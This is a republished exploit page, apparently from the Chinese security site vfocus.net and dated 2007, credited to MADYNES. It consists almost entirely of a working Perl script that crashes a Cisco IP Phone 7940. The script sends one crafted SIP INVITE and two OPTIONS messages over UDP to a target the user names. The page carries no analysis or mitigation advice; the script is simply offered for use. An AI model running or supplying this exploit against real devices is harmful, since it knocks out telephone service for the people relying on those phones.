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Cisco IP Phone 7940 (3 SIP messages) Remote Denial of Service Exploit
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来源：www.vfocus.net 作者：MADYNES 发布时间：2007-08-22
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#!/usr/bin/perl
use IO::Socket::INET;
die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);
$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],
Proto=>'udp',
PeerAddr=>$ARGV[0]);
$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP\t192.168.1.2;rport;branch=00\r\nFrom: <sip:gasparin\@192.168.1.2>;tag=00\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>;tag=00\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 10 INVITE\r\nContent-Length: 0\r\n\r\n";;
$socket->send($msg);
sleep(1);
$msg ="OPTIONS sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;rport;branch=01\r\nFrom: <sip:gasparin\@192.168.1.2>;tag=01\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 11 OPTIONS\r\nContent-Length: 0\r\n\r\n";
$socket->send($msg);
sleep(1);
$msg ="OPTIONS sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;rport;branch=02\r\nFrom: <sip:gasparin\@192.168.1.2>;tag=02\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 12 OPTIONS\r\nContent-Length: 0\r\n\r\n";
$socket->send($msg);
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